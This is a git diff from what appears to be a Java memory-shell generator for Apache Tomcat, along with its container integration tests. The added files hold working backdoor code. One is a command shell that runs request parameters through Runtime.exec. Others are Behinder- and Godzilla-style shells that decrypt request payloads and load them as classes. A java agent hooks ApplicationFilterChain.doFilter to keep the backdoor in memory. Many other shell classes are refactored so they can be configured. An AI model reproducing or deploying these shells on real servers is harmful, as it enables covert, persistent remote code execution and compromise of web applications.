arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -77,6 +83,6 @@ public class Tomcat10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
}
}
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -37,6 +36,8 @@ public class Tomcat11ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -53,7 +54,10 @@ public class Tomcat11ContainerTest {
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -67,6 +71,6 @@ public class Tomcat11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Tomcat11JRE21ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -52,7 +54,10 @@ public class Tomcat11JRE21ContainerTest {
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -66,6 +71,6 @@ public class Tomcat11JRE21ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -14,11 +15,12 @@ import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -32,9 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
@Testcontainers
public class Tomcat8ContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -80,20 +86,22 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +35,8 @@ public class Tomcat9ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -64,7 +65,10 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -78,6 +82,6 @@ public class Tomcat9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
}
}
+6 -1
View File
@@ -4,16 +4,21 @@ plugins {
group = 'com.reajason.javaweb'
version = ''
sourceCompatibility = '1.8'
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
repositories {
mavenCentral()
}
dependencies {
implementation project(":memshell")
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'org.springframework:spring-webflux:5.3.24'
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
implementation 'net.bytebuddy:byte-buddy:1.+'
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
providedCompile 'javax.websocket:javax.websocket-api:1.1'
testImplementation platform('org.junit:junit-bom:5.10.0')
@@ -0,0 +1,71 @@
package com.reajason.javaweb.memshell.tomcat.behinder;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class TomcatFilterChainBehinderAdvisor {
public static String pass;
public static String headerName;
public static String headerValue;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = (HttpServletResponse) field.get(obj);
}
obj.put("response", response);
obj.put("session", session);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memshell.tomcat.command;
import net.bytebuddy.asm.Advice;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class TomcatFilterChainCommandAdvisor {
public static String paramName;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest request,
@Advice.Argument(value = 1) ServletResponse response
) {
System.out.println(paramName);
String cmd = request.getParameter(paramName);
try {
if (cmd != null) {
System.out.println(cmd);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author ReaJason
*/
public class TomcatFilterChainGodzillaAdvisor {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
if (!(req instanceof HttpServletRequest)) {
return false;
}
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
String parameter = request.getParameter(pass);
byte[] data = Base64.getDecoder().decode(parameter);
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
c.init(2, keySpec);
data = c.doFinal(data);
if (session.getAttribute("payload") == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.setAttribute("payload", payload);
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
c.init(1, keySpec);
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
String value = Base64.getEncoder().encodeToString(encryptBytes);
response.getWriter().write(value);
response.getWriter().write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.tomcat.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.matcher.ElementMatchers;
import java.lang.instrument.Instrumentation;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class TomcatFilterChainAgentInjector {
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
Class<?> interceptorClass = Class.forName(getClassName());
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
.transform(
(builder, typeDescription, classLoader,
module, protectionDomain) ->
builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
)
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderFilter extends ClassLoader implements Filter {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
@@ -17,9 +17,9 @@ import java.util.Map;
*/
public class BehinderServlet extends ClassLoader implements Servlet {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@Override
@SuppressWarnings("all")
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/15
*/
public class CommandServlet extends HttpServlet {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaFilter() {
}
@@ -14,11 +14,11 @@ import java.io.IOException;
* @since 2024/12/15
*/
public class GodzillaServlet extends ClassLoader implements Servlet {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaServlet() {
}
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -8,7 +8,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepFilter implements Filter {
private int second = 10;
public static int second = 10;
@Override
public void destroy() {
@@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener;
* @since 2024/12/14
*/
public class SleepListener implements ServletRequestListener {
private int second = 10;
private static int second = 10;
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -12,7 +12,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepValve implements Valve {
private int second = 10;
private static int second = 10;
@Override
public Valve getNext() {
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public String paramName = "{{paramName}}";
public static String paramName;
private Session session;
@Override
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -20,9 +20,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve6 extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve7 extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -14,7 +14,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve6 implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve7 implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -16,11 +16,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve6 extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve7 extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -13,7 +13,7 @@ import java.util.Map;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -15,11 +15,11 @@ import java.util.Map;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
